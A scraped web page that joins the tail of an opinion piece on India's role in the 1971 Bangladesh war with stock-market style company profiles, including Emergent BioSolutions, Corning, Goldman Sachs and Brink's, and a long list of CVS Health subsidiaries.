Bangladesh was never meant to join the Indian union, as Garga wrongly says, it was envisaged to be an independent nation. Hence even the surrender document mentioned the word Bangladesh. For India, it will no longer be Pakistan and an additional frontier for the Army to guard. This can be understood from the fact that the responsibility of securing the border with Bangladesh is with the Border Security Force and not the army, as was the case before 1971.

The Indian Army suffered over 1,400 casualties and more than 4,000 of its soldiers were left wounded, which would not have been possible had it not fought actively. It is easy to criticise when you know there would be no rebuttal. Views change when you wear a uniform and face bullets. Garga's views would also change if he steps down from his pedestal and meets wounded veterans and war widows, who are victims of the 1971 war.
Emergent BioSolutions Inc., a life sciences company, focuses on the provision of preparedness and response solutions that address accidental, deliberate, and naturally occurring public health threats (PHTs) in the United States. The company's products address PHTs, which include chemical, biological, radiological, nuclear, and explosives; emerging infectious diseases; travel health; and emerging health crises and acute/emergency care. It offers BioThrax, an anthrax vaccine; ACAM2000, a smallpox vaccine; Botulism Antitoxin Heptavalent to treat botulinum disease; vaccinia immune globulin intravenous that addresses complications from smallpox vaccine; raxibacumab for the treatment and prophylaxis of inhalational anthrax; Anthrasil to for inhalational anthrax; reactive skin decontamination lotion kits; and Trobigard, a combination drug-device auto injector product candidate; and Trobigard, a combination drug-device auto injector product candidate. The company also provides NARCAN, a nasal spray for the emergency treatment of known or suspected opioid overdose; Vivotif, an oral vaccine for typhoid fever; and Vaxchora, a single-dose oral vaccine to treat cholera. In addition, it is developing AP003, a Naloxone multidose nasal spray; AP007, a sustained release Nalmefene injection for treatment of opioid use disorder; AV7909, an anthrax vaccine; CGRD-001, a pralidoxime chloride/atropine auto-injector; CHIKV VLP, a chikungunya virus VLP vaccine; COVID-HIG for the treatment of SARS-CoV2; EGRD-001, a diazepam auto-injector; SIAN, an antidote for the initial treatment of acute poisoning of cyanide; and UniFlu, a universal influenza vaccine. Further, the company provides contract development and manufacturing services comprising drug substance and product manufacturing, and packaging, as well as technology transfer, process, and analytical development services. The company was incorporated in 1998 and is headquartered in Gaithersburg, Maryland.
Banco Santander-Chile, together with its subsidiaries, provides commercial and retail banking products and services in Chile. It operates through Retail Banking, Middle-Market, Corporate Investment Banking, and Corporate Activities segments. The company offers debit and credit cards, checking accounts, and savings products; consumer, automobile, commercial, mortgage, and government-guaranteed loans; and Chilean peso and foreign currency denominated loans to finance various commercial transactions, trade, foreign currency forward contracts, and credit lines, as well as mortgage financing services. It also provides mutual funds, insurance and securities brokerage, foreign exchange, financial leasing, factoring, financial consulting and advisory, investment management, foreign trade, treasury, and transactional services, as well as specialized services to finance projects for the real estate industry. In addition, the company offers short-term financing and fund raising, and brokerage services, as well as derivatives, securitization, and other tailor-made products. It serves individuals, small to middle-sized entities, companies, and large corporations, as well as universities, government entities, and local and regional governments. As of December 31, 2021, the company operated 326 branches, which include 220 under the Santander brand name, 14 under the Select brand name, 7 specialized branches for the middle market, and 22 as auxiliary and payment centers, as well as 1,338 ATMs, including depository ATMs. Banco Santander-Chile was incorporated in 1977 and is headquartered in Santiago, Chile.
Barnes & Noble Education, Inc. operates bookstores for college and university campuses, and K-12 institutions in the United States. It operates through three segments: Retail, Wholesale, and Digital Student Solutions. The company sells and rents new and used print textbooks, digital textbooks, and publisher hosted digital courseware through physical and virtual bookstores, as well as directly to students through Textbooks.com. It also offers First Day and First Day Complete access programs; BNC OER+, a turnkey solution for colleges and universities, that offers digital content, such as videos, activities, and auto-graded practice assessments; and general merchandise, including collegiate and athletic apparel, school spirit products, lifestyle products, technology products, supplies, graduation products, and convenience items. In addition, the company sources, sells, and distributes new and used textbooks; and sells hardware and a software suite of applications that provides inventory management and point-of-sale solutions to approximately 350 college bookstores. Further, it offers direct-to-student subscription-based writing services; and bartleby, a direct-to-student subscription-based offering that includes textbook solutions, expert questions and answers, and writing and tutoring services. The company operates 805 physical college and university bookstores; 622 virtual bookstores; 8 True Spirit e-commerce websites; pop-up retail locations; 73 customized cafes and 11 stand-alone convenience stores; and a media channel for brands targeting the college demographic. Barnes & Noble Education, Inc. was founded in 1965 and is headquartered in Basking Ridge, New Jersey.
Black Diamond Group Limited rents and sells modular space and workforce accommodation solutions. It operates through two segments, Modular Space Solutions and Workforce Solutions. The Modular Space Solutions segment provides modular space rentals to customers in the construction, real estate development, education, manufacturing, health care, financial, government, and defense industries in North America. Its products include office units, lavatories, storage units, large multi-unit office complexes, classroom facilities, banking and health care facilities, custom manufactured modular facilities, and blast resistant structures. This segment also sells new and used space rentals units; and provides delivery, installation, project management, and ancillary products and services. The Workforce Solutions segment provides workforce housing solutions, including rental of accommodations and surface equipment, and provision of turnkey lodging and travel management logistics services in Canada, the United States, and Australia. This segment also provides associated services, such as installation, transportation, dismantlement, and sale of used fleet assets. This segment primarily serves the resource, infrastructure, construction, disaster recovery, and education sectors. company also provides specialized field rentals to oil and gas industries. Black Diamond Group Limited markets its rental assets, custom sales, and ancillary products and services through in-house sales personnel, its website, social media, web campaigns, and its digital marketplace. The company was founded in 2003 and is headquartered in Calgary, Canada.
Hilltop Holdings Inc. provides business and consumer banking, and financial products and services. It operates through three segments: Banking, Broker-Dealer, and Mortgage Origination. The Banking segment offers savings, checking, interest-bearing checking, and money market accounts; certificates of deposit; lines and letters of credit, home improvement and equity loans, loans for purchasing and carrying securities, equipment loans and leases, agricultural and commercial real estate loans, and other loans; and commercial and industrial loans, and term and construction finance. This segment also provides treasury management, wealth management, asset management, check cards, safe deposit boxes, online banking, bill pay, trust, and overdraft services; and estate planning, management and administration, investment portfolio management, employee benefit accounts, and individual retirement accounts, as well as automated teller machines. The Broker-Dealer segment offers public finance services that assist public entities in originating, syndicating, and distributing securities of municipalities and political subdivisions; specialized advisory and investment banking services; advice and guidance to arbitrage rebate compliance, portfolio management, and local government investment pool administration; structured finance services, which include advisory services for derivatives and commodities; sells, trades in, and underwrites U.S. government and government agency bonds, corporate bonds, and municipal bonds, as well as mortgage-backed, asset-backed, and commercial mortgage-backed securities and structured products. This segment also provides asset and liability management advisory, clearing, retail, and securities lending services. The Mortgage Origination segment offers mortgage, jumbo, Federal Housing Administration, Veterans Affairs, and United States Department of Agriculture loans. Hilltop Holdings Inc. was founded in 1998 and is headquartered in Dallas, Texas.
Corning Incorporated engages in display technologies, optical communications, environmental technologies, specialty materials, and life sciences businesses worldwide. The company's Display Technologies segment offers glass substrates for liquid crystal displays and organic light-emitting diodes used in televisions, notebook computers, desktop monitors, tablets, and handheld devices. Its Optical Communications segment provides optical fibers and cables; and hardware and equipment products, including cable assemblies, fiber optic hardware and connectors, optical components and couplers, closures, network interface devices, and other accessories. This segment also offers its products to businesses, governments, and individuals. Its Specialty Materials segment manufactures products that provide material formulations for glass, glass ceramics, crystals, precision metrology instruments, software; as well as ultra-thin and ultra-flat glass wafers, substrates, tinted sunglasses, and radiation shielding products. This segment serves various industries, including mobile consumer electronics, semiconductor equipment optics and consumables; aerospace and defense optics; radiation shielding products, sunglasses, and telecommunications components. The company's Environmental Technologies segment offers ceramic substrates and filter products for emissions control in mobile, gasoline, and diesel applications. The company's Life Sciences segment offers laboratory products comprising consumables, such as plastic vessels, liquid handling plastics, specialty surfaces, cell culture media, and serum, as well as general labware and equipment under the Corning, Falcon, Pyrex, and Axygen brands. The company was formerly known as Corning Glass Works and changed its name to Corning Incorporated in April 1989. Corning Incorporated was founded in 1851 and is headquartered in Corning, New York.
KAR Auction Services, Inc., together with its subsidiaries, provides used vehicle auctions and related vehicle remarketing services for the automotive industry in the United States, Europe, Canada, Mexico, and the United Kingdom. The company operates through two segments, ADESA Auctions and AFC. The ADESA Auctions segment offers whole car auctions and related services to the vehicle remarketing industry through online auctions and auction facilities. It also provides value-added services, such as auction related, transportation, reconditioning, inspection, title and repossession administration and remarketing, vehicle research, and analytical services, as well as data as a service. This segment sells its products and services through vehicle manufacturers, fleet companies, rental car companies, finance companies, and others. As of December 31, 2021, this segment had a network of approximately 70 vehicle logistics center locations in North America. The AFC segment offers floorplan financing, a short-term inventory-secured financing to independent used vehicle dealers; and sells vehicle service contracts. The company provides wheel repair and hail catastrophe response services. It serves vehicle manufacturers, vehicle rental companies, financial institutions, commercial fleets and fleet management companies, and dealer customers. The company was formerly known as KAR Holdings, Inc. and changed its name to KAR Auction Services, Inc. in November 2009. KAR Auction Services, Inc. was incorporated in 2006 and is headquartered in Carmel, Indiana.
The Goldman Sachs Group, Inc. was founded in 1869 by Marcus Goldman as an investment bank catering to institutions and businesses. Among the firm's first products are the revolutionary use of commercial paper for entrepreneurs which opened a new method of finance for business and industry.

The original firm expanded to Goldman Sachs in 1882 with the inclusion of son-in-law Samuel Sachs and again in 1885 with a son and another son-in-law. The firm joined the New York Stock Exchange in 1896 expanding into trading of its own and in 1898 it was worth $1.6 million. The company began its work in the IPO market in 1906 with the initial public offering of Sears, Roebuck & Co., and then moved on to Ford and other prominent names of the time.

The 1930s brings a change of leadership and a new direction for the firm. The company shifted toward a purer play on investment banking and embarks on a campaign of acquisition that lasted until the present day. The company doesnt go public itself until 1999 and from that point on it will change into a bank holding company that not only offers investment banking services but takes deposits too, and in 2016 the company added consumer banking to its list of services.

Today, Goldman Sachs is a financial institution that provides a range of financial services for corporations, institutions, governments, and individuals globally. The company operates through four segments that include Investment Banking, Global Markets, Asset Management, and Consumer & Wealth Management. According to US banking regulations, it is systemically important to the financial health of America.

The company is headquartered in New York, New York, and operates 6 regional headquarters as well. Regional headquarters are located in financial hotspots such as London, Hong Kong, Tokyo, Bangalore, and Warsaw. Among its many prominent CEOs are John Corzine and Hank Paulson who both went on to successful work in government.

The company's Investment Banking segment provides a full range of financial advisory services as well as underwriting for the public markets. The financial advisory services include but are not limited to strategic advisory for mergers and acquisitions, divestiture, restructuring, and spin-offs. This segment is also engaged in middle-market lending and transaction banking. Underwriting services include IPOs, preferred stock, debt instruments, and bridge loans.

Goldman Sachs Global Markets segment facilitates market transactions for institutions, banks, brokerages, corporations, and governments. Services include execution, derivatives, financing, clearing, settlement, and custody.

The Asset Management segment manages client portfolios across the investment spectrum while the Consumer & Wealth Management segment provides advisory and banking services to consumers.
Sociedad Quimica y Minera de Chile S.A. produces and distributes specialty plant nutrients, iodine and its derivatives, lithium and its derivatives, potassium chloride and sulfate, industrial chemicals, and other products and services. The company offers specialty plant nutrients, including potassium nitrate, sodium nitrate, sodium potassium nitrate, specialty blends, and other specialty fertilizers. It also provides iodine and its derivatives for use in medical, pharmaceutical, agricultural, and industrial applications comprising x-ray contrast media, polarizing films for LCD and LED, antiseptics, biocides and disinfectants, pharmaceutical synthesis, electronics, pigments, and dye components. In addition, the company offers lithium carbonates for various applications that include electrochemical materials for batteries, frits for the ceramic and enamel industries, heat-resistant glass, air conditioning chemicals, continuous casting powder for steel extrusion, primary aluminum smelting process, pharmaceuticals, and lithium derivatives, as well as ingredient in manufacturing of gunpowder. Further, it supplies lithium hydroxide for the lubricating greases industry, as well as cathodes for batteries. Additionally, it offers potassium chloride and potassium sulfate for various crops, including corn, rice, sugar, soybean, and wheat; industrial chemicals, including sodium nitrate, potassium nitrate, potassium chloride, and solar salts; and other fertilizers and blends. The company operates in Chile, Latin America and the Caribbean, Europe, North America, Asia, and internationally. Sociedad Quimica y Minera de Chile S.A. was incorporated in 1968 and is headquartered in Santiago, Chile.
The following companies are subsidiares of CVS Health: ACS ACQCO CORP., ADMINCO Inc., AE Fourteen Incorporated, AHP Holdings Inc., AMC - Tennessee LLC, APS Acquisition LLC, ASCO HealthCare LLC, ASI Wings LLC, AUSHC Holdings Inc., Accendo Insurance Company, Accordant Health Services L.L.C., Active Health Management Inc., Administrative Enterprises Inc., AdvancePCS SpecialtyRx LLC, AdvanceRx.com L.L.C., Advanced Care Scripts Inc., Aetna, Aetna (Beijing) Enterprise Management Services Co. Ltd., Aetna (Shanghai) Enterprise Services Co. Ltd., Aetna ACO Holdings Inc., Aetna Asset Advisors LLC, Aetna Behavioral Health LLC, Aetna Better Health Inc., Aetna Better Health Inc., Aetna Better Health Premier Plan MMAI Inc., Aetna Better Health of California Inc., Aetna Better Health of Florida Inc., Aetna Better Health of Illinois Inc., Aetna Better Health of Indiana Inc., Aetna Better Health of Kansas Inc., Aetna Better Health of Missouri LLC, Aetna Better Health of Nevada Inc., Aetna Better Health of North Carolina Inc., Aetna Better Health of Oklahoma Inc., Aetna Better Health of Tennessee Inc., Aetna Better Health of Texas Inc., Aetna Better Health of Washington Inc., Aetna Capital Management LLC, Aetna Card Solutions LLC, Aetna Corporate Services LLC, Aetna Dental Inc., Aetna Dental of California Inc., Aetna Financial Holdings LLC, Aetna Florida Inc., Aetna Global Benefits (Asia Pacific) Limited, Aetna Global Benefits (Bermuda) Limited, Aetna Global Benefits (Europe) Limited, Aetna Global Benefits (Middle East) LLC, Aetna Global Benefits (Singapore) PTE. LTD., Aetna Health Holdings LLC, Aetna Health Insurance (Thailand) Public Company Limited, Aetna Health Insurance Company, Aetna Health Insurance Company of Europe DAC, Aetna Health Insurance Company of New York, Aetna Health Management LLC, Aetna Health and Life Insurance Company, Aetna Health of California Inc., Aetna Health of Iowa Inc., Aetna Health of Michigan Inc., Aetna Health of Ohio Inc., Aetna Health of Utah Inc., Aetna HealthAssurance Pennsylvania Inc., Aetna Holdco (UK) Limited, Aetna Holdings (Thailand) Limited, Aetna Inc., Aetna Insurance (Singapore) Pte. Ltd., Aetna Insurance Company Limited, Aetna Insurance Company of Connecticut, Aetna Integrated Informatics Inc., Aetna International Ex Pat LLC, Aetna International LLC, Aetna Ireland Inc., Aetna Life & Casualty (Bermuda) Ltd., Aetna Life Assignment Company, Aetna Life Insurance Company, Aetna Medicaid Administrators LLC, Aetna Network Services LLC, Aetna Partners Diversified Fund LLC, Aetna Pharmacy Management Services LLC, Aetna Resources LLC, Aetna Risk Assurance Company of Connecticut Inc., Aetna Rx Home Delivery LLC, Aetna Services (Thailand) Limited, Aetna Specialty Pharmacy LLC, Aetna Student Health Agency Inc., Aetna Ventures LLC, Aetna Workers Comp Access LLC, Alabama CVS Pharmacy L.L.C., Alaska CVS Pharmacy L.L.C., Allina Health and Aetna Health Plan Inc., Allina Health and Aetna Insurance Company, Allina Health and Aetna Insurance Holding Company LLC, American Drug Stores Delaware L.L.C., Arbor Drugs, Arizona CVS Stores L.L.C., Arkansas CVS Pharmacy L.L.C., Badger Acquisition LLC, Badger Acquisition of Kentucky LLC, Badger Acquisition of Minnesota LLC, Badger Acquisition of Ohio LLC, Banner Health and Aetna Health Insurance Company, Banner Health and Aetna Health Insurance Holding Company LLC, Banner Health and Aetna Health Plan Inc., Beauty Holdings L.L.C., Best Care LTC Acquisition Company LLC, Busse CVS L.L.C., CCI Foreign S.a R.L., CCRx Holdings LLC, CCRx of North Carolina LLC, CHP Acquisition LLC, CP Acquisition LLC, CVS 2948 Henderson L.L.C., CVS 3268 Gilbert L.L.C., CVS 3745 Peoria L.L.C., CVS AL Distribution L.L.C., CVS AOC Corporation, CVS AOC Services L.L.C., CVS Albany L.L.C., CVS Bellmore Avenue L.L.C., CVS Cabot Holdings Inc., CVS Cabot Holdings Inc.  Coram Clinical Trials Inc. 99.72%/Aetna Inc. .28%, CVS Care Concierge LLC, CVS Caremark Advanced Technology Pharmacy L.L.C., CVS Caremark Indemnity Ltd., CVS Caremark Part D Services L.L.C., CVS Caremark TN SUTA LLC, CVS Foreign Inc., CVS Gilbert 3272 L.L.C., CVS Health Applications LLC, CVS Health Solutions LLC, CVS Health Ventures Fund GP LLC, CVS Health Ventures Fund LP, CVS Health Ventures Management LLC, CVS Indiana L.L.C., CVS International L.L.C., CVS Kidney Care Advanced Technologies LLC, CVS Kidney Care Health Services LLC, CVS Kidney Care Home Dialysis LLC, CVS Kidney Care LLC, CVS Management Support LLC, CVS Manchester NH L.L.C., CVS Media Exchange LLC, CVS Michigan L.L.C., CVS Orlando FL Distribution L.L.C., CVS PA Distribution L.L.C., CVS PR Center Inc., CVS Pharmacy Inc., CVS Pharmacy Overseas Online LLC, CVS RS Arizona L.L.C., CVS Rx Services Inc., CVS SC Distribution L.L.C., CVS Shaw Holdings Inc., CVS Shaw Holdings Inc.  Coram Clinical Trials Inc. 99.72%/Aetna Inc. .28%, CVS State Capital L.L.C., CVS TN Distribution L.L.C., CVS Transportation L.L.C., CVS Vero FL Distribution L.L.C., CVS-SHC Kidney Care Home Dialysis of Austin LLC, CVS-SHC Kidney Care Home Dialysis of Los Angeles LLC, CVS-SHC Kidney Care Home Dialysis of Philadelphia LLC, CVS-SHC Renal Holdings LLC, Campos Medical Pharmacy LLC, Canal Place LLC, Care Pharmaceutical Services LP, CareCenter Pharmacy L.L.C., Carefree Insurance Services Inc., Caremark Arizona Mail Pharmacy LLC, Caremark Arizona Specialty Pharmacy L.L.C., Caremark California Specialty Pharmacy L.L.C., Caremark Florida Mail Pharmacy LLC, Caremark Florida Specialty Pharmacy LLC, Caremark Hawaii Mail Pharmacy L.L.C., Caremark Hawaii Specialty Pharmacy LLC, Caremark IPA L.L.C., Caremark Illinois Mail Pharmacy LLC, Caremark Illinois Specialty Pharmacy LLC, Caremark Irving Resource Center LLC, Caremark Kansas Specialty Pharmacy LLC, Caremark L.L.C., Caremark Logistics LLC, Caremark Louisiana Specialty Pharmacy LLC, Caremark Maryland Specialty Pharmacy LLC, Caremark Massachusetts Specialty Pharmacy L.L.C., Caremark Michigan Specialty Pharmacy LLC, Caremark Minnesota Specialty Pharmacy LLC, Caremark New Jersey Specialty Pharmacy LLC, Caremark North Carolina Specialty Pharmacy LLC, Caremark Ohio Specialty Pharmacy L.L.C., Caremark Pennsylvania Specialty Pharmacy LLC, Caremark PhC L.L.C., Caremark Puerto Rico L.L.C., Caremark Puerto Rico Specialty Pharmacy L.L.C., Caremark Redlands Pharmacy L.L.C., Caremark Repack LLC, Caremark Rx L.L.C., Caremark Tennessee Specialty Pharmacy LLC, Caremark Texas Mail Pharmacy LLC, Caremark Texas Specialty Pharmacy LLC, Caremark Ulysses Holding Corp., Caremark Washington Specialty Pharmacy LLC, CaremarkPCS Alabama Mail Pharmacy LLC, CaremarkPCS Health L.L.C., CaremarkPCS L.L.C., Central Rx Services LLC, Cofinity Inc., Compscript LLC, Connecticut CVS Pharmacy L.L.C., Continental Life Insurance Company of Brentwood Tennessee, Continuing Care Rx LLC, Coram Alternate Site Services Inc., Coram Clinical Trials Inc., Coram Clinical Trials Inc.  CVS Pharmacy Inc. 75%/Aetna Life Insurance Company 25%, Coram Healthcare Corporation of Alabama, Coram Healthcare Corporation of Florida, Coram Healthcare Corporation of Greater D.C., Coram Healthcare Corporation of Greater New York, Coram Healthcare Corporation of Indiana, Coram Healthcare Corporation of Massachusetts, Coram Healthcare Corporation of Mississippi, Coram Healthcare Corporation of Nevada, Coram Healthcare Corporation of North Texas, Coram Healthcare Corporation of Northern California, Coram Healthcare Corporation of Southern California, Coram Healthcare Corporation of Southern Florida, Coram Healthcare Corporation of Utah, Coram LLC, Coram Rx LLC, Coram Specialty Infusion, Coram Specialty Infusion Services L.L.C., Coventry Consumer Advantage Inc., Coventry Health Care National Accounts Inc., Coventry Health Care National Network Inc., Coventry Health Care of Illinois Inc., Coventry Health Care of Kansas Inc., Coventry Health Care of Missouri Inc., Coventry Health Care of Nebraska Inc., Coventry Health Care of Virginia Inc., Coventry Health Care of West Virginia Inc., Coventry Health Plan of Florida Inc., Coventry Health and Life Insurance Company, Coventry HealthCare Management Corporation, Coventry Prescription Management Services Inc., Coventry Transplant Network Inc., Credentials Inc., D & R Pharmaceutical Services LLC, D.A.W. LLC, Delaware CVS Pharmacy L.L.C., Delaware Physicians Care Incorporated, District of Columbia CVS Pharmacy L.L.C., E.T.B. INC., Echo Merger Sub Inc., Eckerd Corporation of Florida Inc., Employee Assistance Services LLC, Enloe Drugs LLC, Enterprise Patient Safety Organization LLC, EntrustRX, Evergreen Pharmaceutical LLC, Evergreen Pharmaceutical of California LLC, Express Pharmacy Services of PA L.L.C., First Choice of the Midwest LLC, First Health Group Corp., First Health Life & Health Insurance Company, Florida Health Plan Administrators LLC, Garfield Beach CVS L.L.C., Generation Health L.L.C., Geneva Woods Health Services LLC, Geneva Woods LTC Pharmacy LLC, Geneva Woods Management LLC, Geneva Woods Pharmacy Alaska LLC, Geneva Woods Pharmacy LLC, Geneva Woods Pharmacy Washington LLC, Geneva Woods Pharmacy Wyoming LLC, Geneva Woods Retail Pharmacy LLC, Georgia CVS Pharmacy L.L.C., German Dobson CVS L.L.C., Goodhealth Worldwide (Asia) Limited, Goodhealth Worldwide (Global) Limited, Goodyear CVS L.L.C., Grand St. Paul CVS L.L.C., Grandview Pharmacy LLC, Group Dental Service Inc., Health Care Management Co. Ltd., Health Data & Management Solutions Inc., Health Re Inc., Health and Human Resource Center Inc., HealthAssurance Pennsylvania Inc., Highland Park CVS L.L.C., Holiday CVS L.L.C., Home Care Pharmacy LLC, Home Pharmacy Services LLC, Hook-SupeRx L.L.C., Horizon Behavioral Services LLC, Idaho CVS Pharmacy L.L.C., IlliniCare Health, Indian Health Organisation Private Limited, Innovation Health Holdings LLC, Innovation Health Insurance Company, Innovation Health Plan Inc., Interlock Pharmacy Systems LLC, Iowa CVS Pharmacy L.L.C., JHC Acquisition LLC, Kansas CVS Pharmacy L.L.C., Kentucky CVS Pharmacy L.L.C., LCPS Acquisition LLC, Langsam Health Services LLC, Lo-Med Prescription Services LLC, Lobos Acquisition LLC, Longs Drug Stores, Longs Drug Stores California L.L.C., Louisiana CVS Pharmacy L.L.C., MHHP Acquisition Company LLC, MHNet Specialty Services LLC, MHNet of Florida Inc., Main Street Pharmacy L.L.C., Managed Care Coordinators Inc., Managed Healthcare LLC, Martin Health Services LLC, Maryland CVS Pharmacy L.L.C., Med World Acquisition Corp., Medical Arts Health Care LLC, Medical Examinations of New York P.C., Melville Realty Company Inc., MemberHealth LLC, Mental Health Associates Inc., Mental Health Network of New York IPA Inc., Meritain Health Inc., Merwin Long Term Care LLC, Minor Health Enterprise Co Ltd., MinuteClinic, MinuteClinic Diagnostic of Alabama L.L.C., MinuteClinic Diagnostic of Arizona LLC, MinuteClinic Diagnostic of Arkansas LLC, MinuteClinic Diagnostic of Colorado LLC, MinuteClinic Diagnostic of Florida LLC, MinuteClinic Diagnostic of Georgia LLC, MinuteClinic Diagnostic of Hawaii L.L.C., MinuteClinic Diagnostic of Illinois LLC, MinuteClinic Diagnostic of Kentucky L.L.C., MinuteClinic Diagnostic of Louisiana L.L.C., MinuteClinic Diagnostic of Maine L.L.C., MinuteClinic Diagnostic of Maryland LLC, MinuteClinic Diagnostic of Massachusetts LLC, MinuteClinic Diagnostic of Nebraska L.L.C., MinuteClinic Diagnostic of New Hampshire L.L.C., MinuteClinic Diagnostic of New Mexico L.L.C., MinuteClinic Diagnostic of Ohio LLC, MinuteClinic Diagnostic of Oklahoma LLC, MinuteClinic Diagnostic of Oregon LLC, MinuteClinic Diagnostic of Pennsylvania LLC, MinuteClinic Diagnostic of Rhode Island LLC, MinuteClinic Diagnostic of South Carolina L.L.C., MinuteClinic Diagnostic of Texas LLC, MinuteClinic Diagnostic of Utah L.L.C., MinuteClinic Diagnostic of Virginia LLC, MinuteClinic Diagnostic of Washington LLC, MinuteClinic Diagnostic of Wisconsin L.L.C., MinuteClinic L.L.C., MinuteClinic Online Diagnostic Services LLC, MinuteClinic Physician Practice of Texas, MinuteClinic Telehealth Services LLC, MinuteClinic Telehealth Services of Texas Association, Mississippi CVS Pharmacy L.L.C., Missouri CVS Pharmacy L.L.C., Montana CVS Pharmacy L.L.C., NCS Healthcare of Illinois LLC, NCS Healthcare of Iowa LLC, NCS Healthcare of Kansas LLC, NCS Healthcare of Kentucky LLC, NCS Healthcare of Montana LLC, NCS Healthcare of New Mexico LLC, NCS Healthcare of Ohio LLC, NCS Healthcare of South Carolina LLC, NCS Healthcare of Tennessee LLC, NCS Healthcare of Wisconsin LLC, NIV Acquisition LLC, Navarro Discount Pharmacy, Nebraska CVS Pharmacy L.L.C., NeighborCare Pharmacy Services LLC, NeighborCare of Indiana LLC, NeighborCare of Virginia LLC, New Jersey CVS Pharmacy L.L.C., Niagara Re Inc., North Carolina CVS Pharmacy L.L.C., North Shore Pharmacy Services LLC, NovoLogix LLC, OCR Services LLC, Ocean Acquisition Sub L.L.C., Ohio CVS Stores L.L.C., Oklahoma CVS Pharmacy L.L.C., Omnicare, Omnicare Indiana Partnership Holding Company LLC, Omnicare LLC, Omnicare LLC  Aetna Inc 0.28%/CVS Cabot Holdings Inc. 49.86%/CVS Shaw Holdings Inc. 49.86%, Omnicare Pharmacies of Pennsylvania West LLC, Omnicare Pharmacies of the Great Plains Holding LLC, Omnicare Pharmacy and Supply Services LLC, Omnicare Pharmacy of Tennessee LLC, Omnicare Pharmacy of the Midwest LLC, Omnicare Property Management LLC, Omnicare of Nebraska LLC, Omnicare of Nevada LLC, Omnicare of New York LLC, Oregon CVS Pharmacy L.L.C., PE Holdings LLC, PHPSNE Parent Corporation, PP Acquisition Company LLC, PRN Pharmaceutical Services LP, PT Aetna Management Consulting, Pamplona Saude e Beleza LTDA, Part D Holding Company L.L.C., PayFlex Systems USA Inc., Pennsylvania CVS Pharmacy L.L.C., Performax Inc., Pharmacy Associates of Glenn Falls LLC, Pharmacy Consultants LLC, Phoenix Data Solutions LLC, Precision Benefit Services Inc., Prime Net Inc., ProCare Pharmacy Direct L.L.C., ProCare Pharmacy L.L.C., Prodigy Health Group Inc., Professional Risk Management Inc., Puerto Rico CVS Pharmacy L.L.C., Red Oak Sourcing LLC, Resources for Living LLC, Rhode Island CVS Pharmacy L.L.C., Roeschens Healthcare LLC, RxAmerica, Schaller Anderson Medical Administrators Incorporated, Scrip World LLC, Sheffield Avenue CVS L.L.C., Shore Pharmaceutical Providers LLC, Silverscript Insurance Company, Soma Intimates, South Carolina CVS Pharmacy L.L.C., South Wabash CVS L.L.C., Specialized Pharmacy Services LLC, Stadtlander Drug Company, Stadtlander Pharmacy, Sterling Healthcare Services LLC, Superior Care Pharmacy LLC, Sutter Health and Aetna Administrative Services LLC, Sutter Health and Aetna Insurance Company, Sutter Health and Aetna Insurance Holding Company LLC, T2 Medical Inc., TCPI Acquisition LLC, TargetPharmacy, Tennessee CVS Pharmacy L.L.C., Texas Health + Aetna Health Insurance Company, Texas Health + Aetna Health Insurance Holding Company LLC, Texas Health + Aetna Health Plan Inc., The Vasquez Group Inc., Thomas Phoenix CVS L.L.C., Three Forks Apothecary LLC, U.S Healthcare Holdings LLC, U.S. Healthcare Properties Inc., UAC Holding Inc., UC Acquisition LLC, UNI-Care Health Services of Maine LLC, Universal American - Medicare Part D Business, Utah CVS Pharmacy L.L.C., VAPS Acquisition Company LLC, Value Health Care Services LLC, Vermont CVS Pharmacy L.L.C., Virginia CVS Pharmacy L.L.C., Virtual Home Healthcare LLC, Warm Springs Road CVS L.L.C., Washington CVS Pharmacy L.L.C., Washington Lamb CVS L.L.C., Weber Medical Systems LLC, Wellpartner LLC, West Virginia CVS Pharmacy L.L.C., Westhaven Services Co LLC, Williamson Drug Company LLC, Wisconsin CVS Pharmacy L.L.C., Woodward Detroit CVS L.L.C., Work and Family Benefits Inc., ZS Acquisition Company LLC, Zinc Health Services LLC, Zinc Health Ventures LLC, bSwift LLC, and iTriage LLC.

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Oxford Industries, Inc., an apparel company, designs, sources, markets, and distributes products of lifestyle and other brands worldwide. The company offers men's and women's sportswear and related products under the Tommy Bahama brand; women's and girl's dresses and sportswear, scarves, bags, jewelry, and belts, as well as footwear and children's apparel and swimwear under the Lilly Pulitzer brand; and men's shirts, pants, shorts, outerwear, ties, swimwear, footwear, and accessories, as well as women and youth products under the Southern Tide brand. It also designs, sources, markets, and distributes premium childrenswear, including bonnets, hats, apparel, swimwear, and accessories through thebeaufortbonnetcompany.com and wholesale specialty retailers; men's apparel, which include pants, shorts, and tops through duckhead.com and wholesale specialty retailers. In addition, the company licenses Tommy Bahama brand for various products, such as indoor and outdoor furniture, beach chairs, bedding and bath linens, fabrics, leather goods and gifts, headwear, hosiery, sleepwear, shampoo, toiletries, fragrances, cigar accessories, distilled spirits, and other products; Lilly Pulitzer for stationery and gift products, home furnishing products, and eyewear; and Southern Tide trademark for bed and bath product. Oxford Industries, Inc. offers products through its retail stores, department stores, specialty stores, multi-branded e-commerce retailers, off-price retailers, and other retailers, as well as e-commerce sites. As of January 29, 2022, it operated 186 brand-specific full-price retail stores; 21 Tommy Bahama food and beverage locations; and 35 Tommy Bahama outlet stores. Oxford Industries, Inc. was founded in 1942 and is headquartered in Atlanta, Georgia.
The Brink's Company provides secure transportation, cash management, and other security-related services in North America, Latin America, Europe, and internationally. The company offers armored vehicle transportation of valuables; automated teller machine (ATM) management services, such as cash replenishment, replenishment forecasting, cash optimization, ATM remote monitoring, service call dispatching, transaction processing, installation, and first and second line maintenance services; network infrastructure; and cash-in-transit services. It also provides transportation services for diamonds, jewelry, precious metals, securities, bank notes, currency, high-tech devices, electronics, and pharmaceuticals; vault outsourcing and money processing services; and services related to deploying and servicing intelligent safes and safe control devices, as well as cashier balancing, counterfeit detection, account consolidation, electronic reporting, check imaging, and reconciliation services. In addition, the company offers technology applications, including online cash tracking, cash inventory management, and other web-based tools. Further, it provides bill payment and collection services; prepaid cards and corporate debit cards; and security system design and installation services that include alarms, motion detectors, closed-circuit televisions, and digital video recorders, as well as access control systems comprising card and biometric readers, electronic locks, and turnstiles. Additionally, the company offers monitoring services; and security and guarding services to protect airports, offices, warehouses, stores, and public venues. It serves banks and financial institutions, retailers, government agencies, mints, jewelers, and other commercial operations. The company was formerly known as The Pittston Company and changed its name to The Brink's Company in May 2003. The Brink's Company was founded in 1859 and is headquartered in Richmond, Virginia.
